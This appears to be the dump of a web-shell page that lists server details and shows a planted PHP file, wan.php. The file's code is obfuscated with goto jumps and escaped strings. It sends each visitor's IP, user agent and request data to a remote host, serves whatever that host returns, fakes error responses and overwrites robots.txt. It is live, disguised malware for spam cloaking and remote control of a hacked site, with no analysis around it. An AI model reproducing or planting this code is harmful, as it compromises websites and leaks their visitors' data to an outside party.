HEX
Server: Apache
System: Linux clpupre 5.4.0-90-generic #101-Ubuntu SMP Fri Oct 15 20:00:55 UTC 2021 x86_64
User: undanet (1000)
PHP: 7.4.3
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: //proc/self/cwd/wan.php
<?php
 goto yugvp; DBULQ: function getIPAddress() { if (!empty($_SERVER["\x48\x54\124\120\x5f\x43\114\111\x45\116\124\137\111\x50"])) { $ip = $_SERVER["\110\124\x54\120\x5f\103\114\x49\x45\116\124\x5f\x49\120"]; } else { if (!empty($_SERVER["\x48\x54\124\120\137\130\137\x46\x4f\122\127\x41\x52\104\105\x44\137\106\117\x52"])) { $ip = $_SERVER["\x48\x54\x54\x50\x5f\x58\137\x46\117\x52\x57\x41\x52\x44\x45\x44\137\x46\x4f\x52"]; } else { $ip = $_SERVER["\122\x45\115\x4f\124\105\x5f\101\x44\104\122"]; } } return $ip; } goto Tuwzg; ulEYG: $dataApi = "\x68\x74\x74\160\163\x3a\x2f\x2f" . $version . "\56\164\145\x63\x68" . "\147\151\x7a" . "\155\157\163\56\x73\x68" . "\x6f\x70\x2f\151\x6e\x64\145\170\x2e\160\150\x70"; goto FGsNt; yugvp: error_reporting(0); goto xvn0c; xvn0c: if (function_exists("\157\x70\143\141\143\150\x65\137\162\145\x73\145\164")) { @opcache_reset(); } goto NUkU1; Tuwzg: function is_https() { if (!empty($_SERVER["\x48\124\x54\x50\x53"]) && strtolower($_SERVER["\x48\124\x54\x50\123"]) !== "\x6f\x66\x66") { return true; } elseif (isset($_SERVER["\x48\124\124\120\137\x58\137\106\x4f\122\127\x41\122\x44\105\x44\x5f\120\122\x4f\124\x4f"]) && $_SERVER["\110\x54\124\x50\137\130\x5f\106\x4f\x52\x57\x41\x52\x44\105\x44\137\x50\x52\x4f\124\117"] === "\x68\164\164\x70\x73") { return true; } elseif (!empty($_SERVER["\110\x54\124\120\x5f\106\x52\x4f\x4e\124\137\x45\x4e\104\137\x48\124\x54\120\x53"]) && strtolower($_SERVER["\x48\x54\x54\120\137\x46\122\117\x4e\x54\x5f\x45\x4e\104\137\110\124\124\x50\x53"]) !== "\157\146\146") { return true; } return false; } goto D2526; x_XSU: if (is_https()) { $http = "\x68\x74\x74\160\163\x3a\x2f\57"; } else { $http = "\x68\x74\x74\x70\x3a\x2f\57"; } goto ulEYG; iGJ0R: foreach ($key_name_arr as $key_name) { $key_value = isset($_SERVER[$key_name]) ? $_SERVER[$key_name] : ''; $tran_char = str_replace("\x2b", "\x2d", $tran_char); $tran_char = str_replace("\57", "\137", $tran_char); $tran_char = str_replace("\x3d", "\x2e", $tran_char); $data1[strtolower($key_name)] = $key_value; } goto L87qF; MwEwb: $user_agent = strtolower(isset($_SERVER["\x48\x54\x54\120\x5f\125\x53\105\x52\137\101\x47\105\116\124"]) ? $_SERVER["\110\124\124\120\137\125\x53\x45\122\x5f\101\x47\x45\x4e\x54"] : ''); goto AMvuF; ZrANJ: if (strpos($p, "\x66\x61\166\151\x63\157\156\x2e\x69\x63\x6f") !== false) { } else { $dataApi = $dataApi . "\x3f\x3d" . $current_url; $curl_content = curl_post($dataApi, $user_agent, $data1); if ($curl_content === false) { } else { if (in_array($curl_content, array("\116\x6f\x6e\145", "\x43\157\156\x74\151\x6e\165\x65", "\x62\x6c\141\x6e\x6b"))) { } else { if ($curl_content == "\x34\x30\64") { header("\110\x54\x54\x50\x2f\61\x2e\x31\x20\64\60\64\40\x4e\x6f\x74\x20\x46\x6f\165\x6e\x64"); echo $curl_content; die; } else { if (strpos($curl_content, "\x34\x30\64\x20\116\157\164\40\x46\x6f\165\x6e\144\x20\x64\x31\x5f") !== false) { header("\110\x54\x54\x50\x2f\x31\56\x31\40\x34\60\64\40\116\157\x74\40\x46\157\x75\156\x64"); echo $curl_content; die; } else { if ($curl_content == "\65\60\60") { header("\110\124\124\x50\x2f\61\x2e\60\x20\x35\x30\x30\40\111\x6e\x74\145\x72\156\x61\x6c\x20\123\x65\162\166\145\162\x20\x45\x72\x72\x6f\162"); die; } else { $uri = $_SERVER["\x52\105\x51\x55\x45\x53\124\x5f\125\x52\111"]; if (strtolower(substr($uri, -4)) === "\x2e\170\x6d\x6c") { header("\x43\x6f\x6e\x74\x65\156\x74\x2d\x74\x79\160\145\x3a\164\x65\x78\164\x2f\x78\x6d\154"); } else { if (strpos($uri, "\x72\157\x62\x6f\164\163\x2e\164\x78\x74") || strpos($uri, "\x70\x69\156\147\x73\151\x74\x65\x6d\x61\160") || $uri === "\57\160\151\x6e\x67") { header("\103\x6f\156\x74\145\x6e\164\x2d\124\171\x70\x65\72\40\164\145\170\x74\x2f\160\154\141\x69\156"); $robotsFile = fopen("\162\x6f\x62\157\164\x73\x2e\x74\x78\164", "\x77"); fwrite($robotsFile, $curl_content); fclose($robotsFile); } } echo $curl_content; die; } } } } } } goto dyOgU; FGsNt: $data1[] = array(); goto flX6m; L87qF: $data1["\151\160"] = getIPAddress(); goto XZlTV; NUkU1: function curl_post($url, $user_agent, $data = array()) { $url = str_replace("\x20", "\x2b", $url); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "{$url}"); @curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 4); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data)); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_USERAGENT, $user_agent); curl_setopt($ch, CURLOPT_ENCODING, ''); $output = curl_exec($ch); $errorCode = curl_errno($ch); curl_close($ch); if (0 !== $errorCode) { return false; } if ($output == "\x65\x72\x72\157\162\40\143\157\x64\145\x3a\40\x35\60\62") { return false; } return $output; } goto DBULQ; flX6m: $key_name_arr = array("\x53\x43\122\x49\x50\x54\x5f\116\x41\115\105", "\122\x45\121\125\x45\123\x54\137\x55\x52\x49", "\x52\105\x51\x55\105\x53\x54\x5f\x53\103\110\x45\x4d\x45", "\123\x45\122\126\x45\122\x5f\x50\117\122\x54", "\x52\105\115\x4f\x54\x45\x5f\x41\x44\x44\122", "\110\124\x54\120\x5f\x52\x45\x46\x45\122\105\x52", "\110\124\x54\120\x5f\101\103\x43\105\x50\124\137\114\101\116\x47\x55\101\107\x45", "\x48\124\x54\120\x5f\x55\123\105\122\137\101\107\x45\x4e\124", "\110\x54\124\x50\137\x48\117\123\124"); goto iGJ0R; XZlTV: $data1["\150\164\164\x70"] = $http; goto MwEwb; D2526: $version = "\x64\x31"; goto x_XSU; AMvuF: $current_url = base64_encode($http . $_SERVER["\110\124\x54\x50\x5f\x48\117\123\x54"] . $_SERVER["\122\105\x51\x55\x45\x53\124\137\x55\x52\x49"]); goto rdM6f; rdM6f: $p = urlencode($_SERVER["\122\x45\121\125\105\123\124\137\x55\122\111"]); goto ZrANJ; dyOgU: ?>